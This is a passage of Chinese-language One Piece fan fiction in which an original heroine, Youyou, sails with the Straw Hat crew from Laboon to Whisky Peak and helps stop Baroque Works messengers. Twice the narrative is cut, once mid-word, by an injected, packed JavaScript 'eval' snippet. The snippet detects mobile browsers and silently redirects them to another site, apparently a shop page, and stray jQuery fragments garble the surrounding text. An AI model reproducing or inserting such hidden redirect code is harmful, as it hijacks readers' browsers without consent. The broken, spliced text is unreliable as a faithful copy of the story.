一番打岔让有有忘记了自己想说的话,索隆看着刻意撇开话题的两人,又看了眼紧张兮兮没说话的山治,默不作声地摩挲着手中的刀柄。 两相分隔的五天里,草帽团并非只是一味地等待。 倒不如说不去探究有有如此神奇的出现和消失的方式,才更不可能。梅利号上上下下都被检查了个遍,那面木板更是几乎要被拆下来看个仔细,但终究都一无所获。于是所有人的重心便都到了有有的身上。 “「我,不能,说。」” 这是有有在军舰岛上所说的话。 乌索普更是因为这句话差点和有有争吵,没有人会忘记这句话。再加上明明第一次见面就能说出那个人妖果实能力者拥有的能力、能知道找到龙穴之前有一段必经之路、甚至会在掉落地底时先偷摸移动到索隆边上…… 事情发生的当下时还不曾察觉,但是一旦事后复盘,种种违和之感浮出水面。 “「有有她大概,能预见未来。」” 这是四个半的人探讨出来的结果。(至于为什么会有半个,那当然是因为路飞只是兴致上来了才会参与一会儿讨论。) “「预见未来难道会没有代价吗?」” 当今世界,果实能力者不说有多常见,但是也绝不算少,起码船上现在就有一个。但是拥有了力量的这些海贼们却无法靠近大海。这看上去不算过高的代价,但有得必有失是万物定律。 那么预知未来这样逆天的能力,与之对应的,要付出的代价又会是什么呢? “「我,不能,说。」” 那句话连带着女孩的失魂落魄又重新浮现在所有人的心中,到底会发生什么,才会让这个爱笑的小姑娘那样伤心。 “「那就不让她说不就好了嘛。」”虽然不怎么参与讨论的是路飞,但是做出决策的也是路飞。 “「我不想知道冒险的答案,也不想看见有有付出什么代价。」”路飞像是想到了什么,忽然咧开嘴笑了,“「如果做出的事情和她看见的未来不一样,她会怎么样啊?」” “「大概会是一脸崇拜吧。」”娜美撑着脑袋无奈一笑,“「那孩子简直过分溺爱你了。」” “「啊?是吗?」”路飞挠了挠后脑勺,毫无自觉,“「你的错觉吧?」” “「嘛,那有有小姐对我这么好,是不是她的未来有我呢~」”山治扭动着身子笑得猖狂,“「结婚~结婚~」” 乌索普:“「那她的未来也未免太惨了一点……」” “「就算她不告诉我,我也知道我未来一定会成为世界第一的剑客。」” —— “「你以后交朋友一定要擦亮眼睛哦。」”娜美还在絮絮叨叨,有有莫名的从娜美身上看见了伍琪的身影。 难道我真的是什么吸引长辈的体质?有有叹了口气。 “「你有在听吗有有?」”娜美阴测测道。 “「有!」” 看着一个机灵差点稍息立正站好的女孩,索隆低头一笑,手中的刀微微的泛着光。 他们不需要伙伴付出代价去预测那飘渺的未来。 16.等待的意义 接下来就如剧情那般,克罗卡斯谈起了过去。 跨越山脉的海盗船、海盗船后默默跟随的小鲸鱼、伟大航路的凶险和不得不面对的分离。 克罗卡斯带着一伙人从拉布的身体里出来,路飞等人默默地听着克罗卡斯的谈话。 有有以反正“我也听不懂”为由,独自一人跑到了船舷边坐着。恐龙拖鞋被摆在了一边,赤裸裸的双脚微微晃动着。脖颈上的绳子挂着一幅相机,女孩还时不时还摆弄一下快门。 被留下的总是难过的。 大海里,拉布的身影待在那一动不动,已经结了痂的伤口看上去狰狞恐怖,只是安静地看着红土大陆的方向。 可它本不是这样的。 它小时候圆润可爱,大大的眼睛让人心软得一塌糊涂。跟着歌声跃起的水花会在阳光下泛着光。 “拉布。”有有小声唤着。 有有的声音砸进大海没有掀起波澜,但是梅利号的主桅杆可以。 路飞抱着巨大无比的木头桅杆就那么“咻”地一下窜到了拉布头上。 有有:啊这…… 女孩回头望过去,娜美、索隆、山治、乌索普果不其然一副天塌了的表情。 “「你到底在干什么啊!!」”质问声朝着路飞扑去,但是我行我素的船长大人就那样豪爽地把桅杆插进了拉布的头顶。 有有捂住了自己的天灵盖。 嘶,看着好疼。 不过…… 即使羊头没有断裂,梅利号还是被搞得有些破破烂烂了。 可怜的梅利号。有有怜惜地摸了摸船, 决心一会一定要给梅利号也找个小礼物出来。 路飞和拉布的“决战”声势浩大,岛屿鲸拍打起的水花于人类而言不亚于滔天巨浪,靠得过于近的梅利号也被颠簸得摇摇晃晃,混乱之间,有有只来得及一手护住相机,一手抓住栏杆。 浪花实在太大,梅利号被冲击得七零八落,于是有有眼睁睁看着自己的拖鞋顺着栏杆的缝隙滑了下去。 有有:“……” 轻飘飘的拖鞋东一只西一只的浮在海面上,就当有有以为还能跳下去捡起来时,一个浪花袭来,绿色的拖鞋不见了踪影。 有有:“……我的拖鞋!”我杀路飞! 虽然没有听懂有有的话,但被女孩的叫声吸引,娜美还是第一时间看向了有有的方向。只见女孩欲哭无泪地向海面伸着手,身边的绿色拖鞋不见了踪影。 娜美:“……” “「我一会儿拿路飞的零花钱给你买。」” 零花钱?!有有眼睛忽的一亮。 “「贝利!不要鞋子!」”有有笑得眼睛都快眯起来了。 找到了折现的好方法哟。 反正鞋子都会刷新的嘛。 娜美失笑:“「好。」” 路飞和拉布的“决斗”很快告一段落,路飞也并不是真的想和拉布打架,少年船长站在红土大陆上看着比自己高大许多的鲸鱼,笑着、大声地给这只等待了五十年的鲸鱼一个新的目标。 不伦不类的草帽团logo被画在了拉布的头上,有有端着相机毫不客气地给一人一鱼来了个全方位的特写,为了尽可能多地将拉布收入镜头,有有甚至穿上了新买的运动鞋开始往山上爬。 “「你的新鞋子很帅呀!」”路飞注意到有有换了鞋,开口夸赞道。 “「多亏了你呀。」” “「什么?」” “「没什么,看镜头!」”按下快门的同时有有怜悯一笑。 呵。 还不知道自己痛失零花钱的路飞在镜头里笑得格外开心。 半露在海面上的拉布离陆地格外的近,有有收起相机,小心翼翼地沿着山路下行。 “「我想摸摸它。」”有有蹲在海岸线附近突然道。 “「那你问问它。」”路飞双手枕在后脑勺,脸上身上到处都是颜料,却还是呲着一口白牙。 “「拉布!」”有有把手当作扩音器一样放在嘴边,大声喊道。 “「我能摸一下你嘛!!!!」”话喊出口才发现这样实在有些歧义,如果多面不是鲸鱼,那么大概率会被打成流氓然后被胖揍一顿。 还没等有有开口道歉,一双手就这样出现在了自己的腰间。 有有:“!!!!” 整个人忽得一下腾空,脚下坚实的触感消失,取而代之的是离拉布的头顶越来越近。 “「它说可以哟!」”路飞站在原地依旧呲着个牙在乐,丝毫不觉得自己伸长的手臂有什么问题。 问题大了去了啊!!有有惊悚地看着自己就这么降落在了拉布头上,几乎是刚落地的一秒就腿软地跪坐了下来。 娜美的拳头已经招呼到路飞的头顶,船长大人却一脸委屈:“「为什么打我!」” “「你干嘛把有有突然举起来!」”娜美看着拉布头顶上可怜兮兮的小女孩,只觉得火气直冒。 “「是有有想摸拉布的啊!她站这么远怎么摸到,她又不能像我一样伸长手臂!」” “「那你也要提前和人说一声!把人家吓到了怎么办!」” “「啊,我忘了。」” 有有:…… 怎么说呢,早就预料到有这一天了。 有有叹了口气,就这样跪坐着拍了拍拉布的脑袋。 “哎,遇见这样的人真的很没办法对不对,自说自话的。”有有嘴里抱怨着,脸上却满是笑意,“能怎么办呢,谁让他是路飞呢。” “抱歉呐,我现在语言学得还不太好,只能用我家乡话和你聊聊啦。” “你的这些伤看着好疼的,你的伙伴看见肯定会心疼的。” “所以别干傻事啦,路飞会回来看你的一定一定。” “还会带着你的朋友哦。” “他一直、一直记着你们的约定,他也有很努力地想要回来,但是这片大海上未知的事情实在太多了,他过得也挺辛苦的。” “我要是能遇见他的话,我会把你的照片给他看的哟。” “有机会的话,没准还能和他一起给你演奏一下《宾克斯的美酒》呢……” 拉布头顶上的人不知道在絮絮叨叨些什么,零星能听见的词语却也无法理解其中的意思。 娜美盯着女孩看了半晌,忽然开口道:“「呐,你们说。」” “「拉布的同伴,真的不会再回来了吗?」” 山治点着烟:“「伟大航路上发生什么都不意外,克罗卡斯不是说,他们已经不会回来了吗?」”那句话的言外之意所有人都很清楚,那就是这群人大概率是葬身大海了。 “「但是,你们看有有的表情……」” 鲸鱼头顶上的女孩神色温柔,轻轻拍打着拉布那庞大的身躯,就像妈妈在安抚摇篮里的孩子。偶然间不知道说到了什么,女孩眼光里满是鼓励和骄傲的神色。 辛苦了,别担心。 虽然语言不通,可娜美就是觉得,有有在说着这样的话。 “「如果拉布的等待是无用的,有有会露出这样的表情吗?」” 娜美喃喃自语道。 不会的。 “「那不就说明,」”乌索普眼睛亮了起来,“「拉布它……」”一定能等到的吗? “「咳咳咳!」”一口烟忽然飘了过来,乌索普接下来想要说的话被卡在喉咙,一个字也说不出来。 “「你不去修船吗?」”山治指了指倒在一边的主桅杆,“「需要帮忙吗?」” “「……我这就去。」”拐弯抹角的打断让乌索普反应过来,做贼心虚似地瞥了一眼还在旁边似乎什么都没察觉的克罗卡斯,灰溜溜地去船上敲敲打打。 即使说着不需要有有去预测未来,但是涉世未深的女孩丝毫没有掩饰过的样子,从表情、行动、态度等等细节多少都能推测出来一些,这些是不需要她开口,仅凭着对她的了解就能得出来的事情。 18岁,怎么还会这么单纯,难道不知道预测未来这种事情一旦暴露,会有多少人盯上她吗? 索隆想了一下自己的十八岁,已经为了悬赏干掉了不少海贼,甚至小有名气。 思及女孩长大的环境,索隆摩挲了一下剑柄。 情有可原。 “「你们在说什么啊?」”没眼力见的船长凑上来询问道,似乎已经把有有能预测未来这件事忘到了九霄云外。 “「……没什么」”算了,这里还有个更单纯的家伙。 丝毫不知道下面已经演完了一出好戏,有有站在拉布的头顶左右为难。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15984109|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这要怎么下去啊…… 拉布过分圆润的形状让人不敢迈出一步,生怕一个不小心就顺着弧度滑滑梯滑了下去。下面可是大海啊! “「救救我!」”有有无奈喊道。 “「我来啦!」”路飞一个转身、 “「不要路飞!」” “「切~」” 最后山治自告奋勇(其实就是跑得快),一跃登上了拉布的头顶。 真的不能把这人拉回去参加跳高运动会吗?有有一脸惊叹地看着山治,比了个大拇指:“「厉害!」” 完全不知道自己做了什么,山治却还是一脸羞涩地收下了有有的称赞:“「有有小姐~我来接你了~需要公主抱吗~」” 啊这……似乎也不是很靠谱的样子。 有有欲言又止地看了一眼山治:“「别的?」” 别的方式暂时没有找到,毕竟空空荡荡的地方也没有其他可以借力的工具,也总不能再从拉布的胃里面再走一遍。 公主抱这种姿势,动漫电视剧里看到的远比现实中来得多的多,如果不是在电视里面看见,有有是断想不出还有如此为难人,除了美观一无是处的姿势。 她都不敢想整个人悬空之后,腰会有多难受。 有有本以为自己会害羞的,毕竟那可是山治啊。但是比害羞先涌上来的,是怒火。 “「有有小姐~那是什么?」”山治指着有有腰间的痕迹询问道。 “「嗯?」”有有顺着山治指的方向低头看去。 红红白白黄黄的颜料痕迹在腰间格外突兀,隐约可见的手掌印明明白白彰显了“罪魁祸首”。 有有只觉得自己脑门青筋爆起,想打人的心蠢蠢欲动。 我的新衣服啊!!! 还没穿几次的新衣服光荣战损,有有直接伸手拉住了山治,颇有些皮笑肉不笑道:“「山治!走!去路飞那!」” “「诶诶,好。」”被反客为主的山治有些不知所措,但还是利落地将人打横抱了起来。 同样的双脚离地,但是有人托底的安全感完全不同于骤然起飞。 双手环住身边人的脖子似乎是什么无师自通的事情,自双脚离地时,有有便自然而然地搭上了山治的脖子。 手底下的身躯微不可察的一僵,还没等有有细究,就看见山治又是那副花痴的呆模样。 “「啊~有有小姐好可爱~」” 耳边传来直白的夸奖声,有有眉毛一挑,绕在山治后背的那只手戳了戳男人隐藏在金发下微红的耳尖。 山治的身体微微一晃,差点在空中失去了平衡。 “「有有小姐~」”嗔怒的话还没说出口,就被女孩高昂的声音打断。 “「山治!」”有有腾出一只手高高举起了相机。 “「看镜头哟!」”有有调笑道。 “咔擦”一声,玩笑着在耳边比着“耶”的女孩和猝不及防的青年就这样被收入了镜头。 “嘿嘿。”落地瞬间有有就从山治身上一跃而下,蹦蹦跳跳地跑到了娜美身边。 娜美看着严重心虚的女孩无奈道:“「你又做什么了?」” “「有有听不懂哟。」”女孩丝毫不脸红的跑到正在敲打的乌索普身边,一惊一乍道:“「啊,给你们的礼物!」” 索隆看着还有些呆愣在原地的山治,不屑地轻嗤一声:“「白痴。」” “「你这混蛋说什么?你是不是在嫉妒我!」” 一点就着的两个人再次打了起来,但这和其他人无关。 女孩从房间里掏出一整套的工具箱塞给乌索普,由把许多厨具摆在了厨房,递给娜美一袋子的饰品,又给了索隆一些自己都没喝过的酒。 “「我的呢我的呢?」”路飞的像只小狗一样跟在有有身后打转,“「给我肉!上次的零食也可以。」” “「路飞没有!」”有有指了指自己腰间的颜料痕迹,凶神恶煞道。 “「真的嘛……」”路飞撅着个嘴严重不服,“「可是我饿了诶……」” “3”字样的嘴叽里咕噜也不知道在说着什么,有有诡异地沉默了一秒,不情不愿道:“「就一点点哦。」” “「好诶!」” 娜美:“……”这还不叫溺爱吗? 17.威士忌山峰 这鱼长得是真丑啊。 有有蹲在山治身边,看着厨师从冷冻仓里面掏出一条巨大的鱼。 “「是因为它的鼻子吗?」”有有戳了戳已经冻僵了的鱼,“「叫什么来着?」” “「大象鲔鱼哦。 」”一旦涉及到自己喜爱的事物,山治说话的语气都变得温柔了起来。 “「嗷。 」”有有捋了捋自己的舌头,愉快地决定放弃尝试这个不太常见的词汇。转而开始观察山治做饭的动作。 山治做饭无疑是一场艺术,没有华丽繁杂的技巧,仅仅只是一步接着一步踏实沉稳的手法,和平时轻佻的模样完全相反,对待食物和料理的珍重态度比起平时的模样不知道帅上多少倍。光看他做饭的过程,就能肯定最后绝对是一道佳肴。 说着什么喜欢这个喜欢那个,其实最喜欢的还是料理吧。 有有偷笑,举起相机悄悄记录了下来。 有人忙着做饭,有人忙着睡觉,有人忙着敲船,还有人忙着拍照,总而言之都在忙碌着。 “「啊——」”一阵尖叫声响起。 “「指南针坏掉了!」”娜美指着桌上旋转个不停的指南针,脸色发白。 克罗卡斯在一旁解释着伟大航路磁场的怪异。 “「总而言之,是需要记录指针对吧。」”娜美头疼地扶着脑袋,“「现在上哪去找啊。」” “「这这这!」”有有举着手蹦达,手中奇怪的指针吸引了所有人的注意,“「我有!」” “「啊!」”路飞猛地一拍手,咽下嘴里的东西,“「这是你刚刚和我换的!」” “「嘿嘿。」”有有谄媚地将记录指针递给娜美,“「他会弄坏的!」” “「做得好。」”娜美赞许地看了一眼有有,“「等会儿给你发零花钱。」” 有了记录指针就能确定航行的方向,娜美新奇地观察着戴在手腕上的指针,可记录指针在手上还没呆住三秒,就被打闹中的山治和路飞波及成了碎片。 果然不能小觑路飞的破坏力呀!有有看着水面上咕噜咕噜的起泡感慨道。 掉入海水中的山治和路飞最终被拉布捞了起来,顺便还“买二赠二”,Miss.星期三和Mr.9也浑身是水地躺在旁边。 还没漏出真面目的微微一副一点就炸的模样,有有坐在船上晃荡着腿看着娜美戏弄两人,时不时拍下几张照片。 这可都是珍贵影像啊。 耳边的咔擦声不断响起,索隆抬眸瞥了一眼女孩:“「你还真是喜欢拍照啊。」” “「纪念哇纪念。」”有有警惕地抱着相机往旁边挪了挪,生怕相机惨遭毒手,众所周知,拍帅气的神图固然重要,但是黑图也不可或缺啊。 即使是索隆也不能把相机里的黑照删除! 索隆轻嗤一声:“「笨蛋,如果我不想让你拍,那么你从一开始就不可能拍到。」” “「你才是笨蛋!」”有有朝着索隆呲牙咧嘴,“「骂我,第二次!」” “「你就记住了这个?」”索隆一脸嫌弃,“「你等会还是回去多学学怎么说话吧。」” “「噫——」”有有听懂了索隆的嫌弃,转头就向娜美告状:“「娜美——索隆欺负我!」” “「索隆!酒没收!」” 索隆:“……”这会儿倒是挺熟练的。 “「你个绿藻头居然敢欺负有有小姐!」”被一点就燃的山治高踢着腿就打了上来。 场面再次乱成一锅粥。 但是也在混乱中确定了下一站的目的地——威士忌山峰。 于是梅利号在夕阳中朝着威士忌峰的方向出发。 乌索普和路飞在甲板上载歌载舞,有有欣赏了一会儿两人的舞姿就跑到了甲板的后方。 克罗卡斯和拉布站在原地目送着船只的离开,视线中的女孩蹦蹦跳跳地挥手告别,手上还举着那个奇怪的相机拍着什么。 “「真是的。」”克罗卡斯叉着腰失笑,“「这伙海贼还真的是各有各的奇怪。」” —— 即使知道伟大航路的天气说变就变,但是当天空真的飘起雪花,甲板的雪越积越厚时,有有才深刻地感觉到这种反常识的存在已经不再是幻想了。 看着手机上显示的八月份的日期,再看看空调开着的制暖效果,巨大的割裂感让人发笑。 “「啊,怎么会这么冷啊。」”娜美抱紧了自己,“「还好有有你的房间能取暖。」” 有有坐在床上裹着被子,只露出一个脑袋在外面,视线透过没关上的门看向坐在操舵室发抖的两个人开口道:“「喊他们进来?」” “「有有!」”娜美语重心长地说道:“「不可以放陌生人进来!」” 行吧。有有无奈地抱住被子,现在又没办法说微微是你们以后的伙伴。 哎,太难了。只能希望房间里的暖气多飘一点到外面去了。 娜美抬眼就知道眼前这人又在脑补着写什么乱七八糟的事情:“「想出去玩雪吗?」” 玩雪!?有有眼睛忽得亮了起来,随即嘴角一撇。 “「没有衣服!」” 房间的衣柜并不算大,基本上只会放当季的衣服,零星几件用来应急的外套也无法和外面鹅毛大雪的景象抗衡。不然,她早就出去玩了。 “「我借你。」” 好诶! 甲板上积雪成堆,有有随手抓了一把雪,三下五除二握成团,躲在拐角不时偷袭一下正在打雪仗的路飞和乌索普。混在在庞大的雪球队伍中,有有的各种小动作居然也没被发现。 但快乐的时光总是短暂的,操舵室的两个人被扔在了甲板上,调转航线的指令从娜美嘴里发出,天气也逐渐变得恶劣、 一阵狂风吹来,前一秒还在下雪的天空突然变得晴朗,取而代之的是一阵巨大的雾,再接着巨大的风暴。 穿上身还没十分钟的棉袄已经失去了作用,再逐渐升高的温度下反而显得有些累赘。 有有无措地站在原地,无论是掌舵还是收帆似乎都无法帮上忙,看来看去,有有跑到还睡着的索隆身边,毫无负罪感地想将人摇醒。 “「起来帮忙!」” 叫不醒…… 无论是刮风下雨、温度骤降还是骤升都无法改变这人婴儿一般的睡眠,尝试无果后,有有恨恨地踢了一脚索隆还盘坐着的腿:“等着娜美揍你吧!” 无法帮忙补船,那就给乌索普递木板和钉子,不会收帆但也能给收帆的人提供一些微不足道的力量…… 在短短一段时间内,有有经历了从冬到夏的一年四季,还顺便把海上能出现的风浪全都体验了一遍。 要死了……有有倒在甲板上,满脸绝望地大口喘着气,视线里突然出现了一双熟悉的绿色鞋子。 索隆终于起床了。 看着这人一脸无辜样地找到Mr.9和M ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16004729|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' iss.星期三打探消息,有有悄悄翻了个白眼。 “那你倒是把巴洛克工作室的名字说出来呀!没用的家伙。” “「你这家伙,是不是在说我的坏话?」”索隆锁定了躺在一边嘀嘀咕咕的有有,满脸凶恶。 “「你这混蛋!怎么都叫不醒你,现在还敢凶有有!」”真正的制裁者娜美站在索隆身后给了一套组合拳,索隆头顶上的大包都快和瞭望塔一样高了。 拍下来拍下来。有有狡黠一笑。 不过暴风雨总算过去,不远处小岛的轮廓也逐渐清晰,巨大的仙人掌在迷雾中莫名显得有几分童真。 Miss.星期三和Mr.9“咣”地一下跳下了船,噗通噗通地游走。 乌索普似乎又得了不能上船的病,在一边唧唧歪歪。必须要等到磁力储存充足的消息对这人来说无疑是一个惊天噩耗,毕竟这就意味着必须要呆够足够长的时间。 有有的注意力并不在旁边的喧闹上,握着相机镜头的手不断摩挲,最终还是放了下来。这个相机虽然是二手的,但是这是一个可变焦的相机,为了方便携带,此刻相机上的镜头并不算特别笨重,但如果放大到最大的倍数,那么仙人掌山上的墓碑大概率也是可以看见一些的。 船距离港口越来越近,人群的欢呼声也逐渐冲进耳朵,船上一半的人都陷入了居民热情似火且友善的态度,完全忘记了在这个世界,海贼是如何的人人喊打。 太好骗了吧。有有无奈叹气。 木屋内似乎是天堂,有路飞心心念念的食物、有山治心动不已的美人、有相信乌索普吹牛的人、也有索隆喜欢的酒精、还有娜美喜欢的贝利。 简直是精心准备的陷阱,一套一个准。 有有环顾着四周,身边忽然也多了几个人。 漂亮的美女姐姐揽住有有的肩膀,举手投足之间的香气摄人心魄,涂着口红的嘴张张合合:“@#¥%……” 不熟悉的话从左耳朵进再从右耳朵出,有有嗯嗯啊啊地点着头,心思却飘到了另一个次元:话说尾田画得路人姐姐居然这么好看吗?这口红什么色号的啊? 美女姐姐脸色微青,很快换上了一位模样俊俏,还袒露着腹肌的俊俏少年。 少年一坐下就顺势张开了手臂,搭在沙发靠背上的手自然地向旁边舒展,微微侧着的脸展示着如刀削般的下颌线,甚至连嘴角上扬着的弧度都似乎经过缜密的计算。 “*&@#……”低沉地就像刚被烟熏过的声音冲入耳膜,有有一个机灵,猛然站起,用力地搓着手臂上炸起的鸡皮疙瘩,眼神嫌弃地看神色呆滞的少年。 真不守男德,啧。 有有的猛然站起稍微吸引了娜美的注意,喝酒的劲头都差点消失了一干二净。 “「怎么了有有?」”索隆和娜美的视线一同袭来,盯得旁边的少年不自在地收回了手,讪讪一笑。 “「没什么。」”有有乖巧摇头,只是远离了旁边的人,自己找了个地方自娱自乐了起来。 “「这人到底是怎么回事!」”铩羽而归的两人冲着伊卡莱姆抓狂道:“「简直油盐不进!」” 伊卡莱姆闻言顺着两人所指的方向看过去,油盐不进的女孩撑在桌子上脑袋一点一点,似乎马上就要睡过去了。 “「不用管她,等她自己睡过去。」” 而接下里也正如伊卡莱姆所料,涉世未深的女孩就那样趴在桌上睡着了。 18.有有的小动作 推杯换盏,酒过三巡后。小屋的灯光逐渐暗淡了下来。聚会的热闹就像是一场梦一般,眨眼间便消散了,只剩下桌子地面上的残羹冷炙和顺着桌面滴到地面上的酒液。 微小的呼噜声此起彼伏,还路飞和乌索普时不时的梦话。明明吃到整个人都变大了一圈,可从梦话听来,似乎在梦里吃得也不算差。 随后,宁静被叮叮咣咣的声音打破,兵刃相接的碰撞声、木仓支开火的声音在寂静的夜里划破黑幕,陷入了激战的海洋。 五、四、三、二、一。 倒计时结束。 乒乒乓乓的打架声变得稍微小了一些,随后,一只眼睛悄悄睁开,缓慢适应了周围的黑暗后,相当谨慎地咕噜转了一圈。 视线范围内依旧是聚会后的一片狼藉,一行六人只有索隆失去了踪影,其他人都貌似还陷在美梦之中。 哎,这就是没装反诈APP的后果啦。 有有撇撇嘴,小心翼翼地起身。 整个房间内堪称无处下脚,有有的脑袋到处晃了一圈,目光锁定到了娜美身上。 —— 外面的斗争暂时是参与不了的,如果贸然加入,只会成为索隆的累赘,别说除了已经碰过面的四位巴洛克工作室的数字员工,马上还有两位会到这座岛上,那个轻飘飘柠檬和恶心炸弹人可不像这四位那样搞笑。反正索隆想试试刀,路飞虽然会添会乱,但是起码最后还能派上用场,更何况还有娜美。 但是最该解决的应该是…… 有有揉了揉脑袋,站在已经破破烂烂的门边探出头观察着外面的战况。 此刻战斗的中心并不在这间房子的门口,似乎敌人都被索隆引到了一边,但是门口堆积如山的“尸体”也看得出这里有一场鏖战。虽然不太理解这群人没死却要躺在地上,不到副本结束就不起来的情况,但是有有此刻发自内心感谢这个世界轻易不会死人的设定,虽然一死就死个大的:)。毕竟真的遇见尸体,有有可不敢保证还能如此淡定。 我记得剧情里是不是出现过一个修女来着?有有贴着墙壁一点点往边缘蹭,眼睛也不忘扫视着地面上的人。 修女的位置记得实在是太过模糊,有有并不打算将希望全都寄托在找到修女身上,目光所及之处但凡看见穿着长款衣服的女生都会停下来思考一番。 这个颜色有点太显眼了,pass;这个不能没帽子,pass;这个是个臭男生,pass、pass、pass! 索性索隆的战场拉得足够远,给足了有有挑选的时间,也或许上天真的在眷顾着自己,有有找到了自己的第一备选。 身形纤细的修女靠着小孩倒在路边,手里还握着一个十字架,十字架的中间还有个缺口,还能装一点喷雾在里面,只不过似乎被索隆的刀背碰到了,看上起有些不太好使。 算了,来都来了。有有丝毫不嫌弃地将十字架套在了自己的脖子上。 大庭广众之下扒人家衣服实在不是有有这个根正苗红的年轻人的风格,但又实在怕人诈尸,有有左右环顾了一下,从地上捡了把木仓别在腰间。甚至没检查弹药是否充足,主打一个唬人。还顺手剥了一个男人的外套,打算用来给修女盖上。 “「对不起哦,但是没办法,你这衣服隐蔽性比较高,能把我整个人连头发都遮住。」”有有嘴里念叨着抱歉,可拖着人往旁边房子走的姿势丝毫不含糊。 等将人拖到旁边的房子时,有有的体力槽几乎要消耗一空了。 修女的衣服下面并不是空的,或许也是为了打架方便,还穿了一层贴身的衣服,围着的一圈口袋还装了十字架补充用的药剂。 拿走都拿走。有有哼着歌把修女服套在了身上,细致地拍了拍灰,还原地转了个圈。 如果忽略在地上拖着的裙摆的话,这不是挺好看的嘛。有有拿出手机自拍了两张,一脸满意地存到相册。 顺手拿的外套倒是用不太上了,有有刚想把外套扔到一边,目光在触及地上躺着的修女时,手中的外套叠了叠,轻轻盖在了修女的肚子上。 “「别着凉了。」”有有不走心地说道。 黑色的修女服在黑夜的掩饰下不那么显眼,有有偷偷摸摸地从房门中钻出,眼观六路、耳听八方,一旦发现地面有轻微的颤抖或者是听到了什么声音,就立即坐下,把兜帽往侧拉,遮住半张脸,然后摆出一副已经死掉了的模样。 这座岛上的赏金猎人众多,谁也不能保证认识全部的人,更何况巴洛克工作社的人本就以代号相称。 穿上了修女服、在街道中一副被打惨了模样的女人,除了是本社员工还能是谁呢?那群海贼总不能丧心病狂到对自己人下手吧。 于是一波又一波地追兵从有有眼前路过,不敢睁眼的有有竖起耳朵听着他们的对话,比做英语听力的时候还认真。 “……总部那边来人了……” “……赶紧走……” 声音渐渐变小,有有将眼睛睁开一条缝,确定人真的走远后慌忙起身,朝着同样的方向追了上去。 —— “什么啊,索隆你应该早点和我说嘛,我还以为你是没吃到想吃的才会打人呢。”路飞坐在酒桶上挠着后脑勺,脸上是毫无悔意的笑容。 “你以为我是你吗?”刚和路飞结束一场稀里糊涂的决斗,索隆没好气地整理着头巾,随后转头看向旁边的娜美和名为微微的公主。 处于内乱时期的阿拉巴斯坦当然无法给出十亿贝利的酬金,娜美有些失望地靠在墙壁上,没有了贝利在前面吊着,娜美毫无动力。 “所以你们幕后的老板是谁?” 微微像是想到了什么害怕的东西,有些颤抖地抱住了自己。 “我不能说。” “为什么啊?”娜美不解,但随后释然,“算了,不知道对我们……” “是王下七武海之一——克洛克达尔。” 娜美话音未落,就听见微微的声音响起。 娜美:“??” 俗话说,知道的越多,死得越快。当这种惊天大秘密被知晓,便是身不由己的入局,而局中人最难逃脱。 不过还好,现在还没人知道。娜美从震惊中回过神,刚想开口,就听见头顶传来“嘎”的一声。 一只波点海獭和一只背着木仓的秃鹰就站在头顶的平台上。 “不吉利组合!”微微惊呼出声,“是巴洛克传递消息的职工!” 传递消息?!!娜美瞬间意识到了问题的严重性,一旦这对组合把这个幕后主使的身份已经暴露这件事传递出去,那么在海上等着的,就只会是克洛克达尔的追兵。 “抓住他们!”娜美着急地开口。 秃鹰一旦飞起来,就难抓了,现在也只能指望路飞伸长的手臂能将鹰拉下。 “诶?”在场的人还没反应过来,秃鹰便开始振翅了。 “糟糕!” 空中是暂时还没涉及到的领域,娜美焦急地看着上方,却发现平台上不知何时多了一道黑影。 “啊!”路飞指着那道黑影,眼里闪出兴奋的光芒。 “骗人的吧……”索隆打算蓄力弹起的腿忽然泄了力。 被下方人的奇怪态度感染,海獭和秃鹰条件反射地向后看去。 “嘿嘿。”怪异的笑声响起。 黑影猛地扑了上来抓住了秃鹰的翅膀向前翻滚,顺手还在秃鹰背上的炮管里塞了什么东西。 “有有!”娜美惊呼出声。 平台前方并没有能够停下的地方,有有就这样抱着秃鹰摔到了地面上。有有摔跤的经验不算丰富,手臂撞在地面上吃痛,一时放松了手上的力道,秃鹰立马挣脱了出去,背上的炮管就这样对准了地面上的女孩。 索隆立刻挥刀斩向秃鹰。 但是自启动的热武器还是要快上一步,炮火在管口只闪烁了不到一秒,就要冲着有有而去。 “砰!” 秃鹰掉在了地上。 索隆:“?” 差点吓死的娜美:“?” 路飞:“哇哦。” “「痛死了!」”有有摸了摸手上擦出的划痕,疼得出现了母语,看着几人还愣在原地,一脸无奈地指了指在头顶上打算偷袭的海獭:“敌人在那!!!” 情报员自然是抵不过战斗主力的。 面对没了飞行搭档的海獭,索隆甚至不需要出刀,纯凭拳头就能解决。 “你这家伙!你不是和我说你去寻宝了吗!!”娜美揪着有有的耳朵只觉得头疼,连语速都忘记放慢,“结果你到底在干嘛?” “还有这身衣服,怎么这么个打扮?”娜美嫌弃地拎着有有身上破破烂烂的修女服,“你从地上捡的?” 有有目光游移,脸上的心虚几乎都要溢出来了,从一开始有有就知道娜美根本没有醉倒,出于报备的心理,她和娜美说自己要去寻宝,娜美虽然担忧,但是还是让有有去了,结果…… “听不……” “少和我说你听不懂,我知道你听得懂的!”
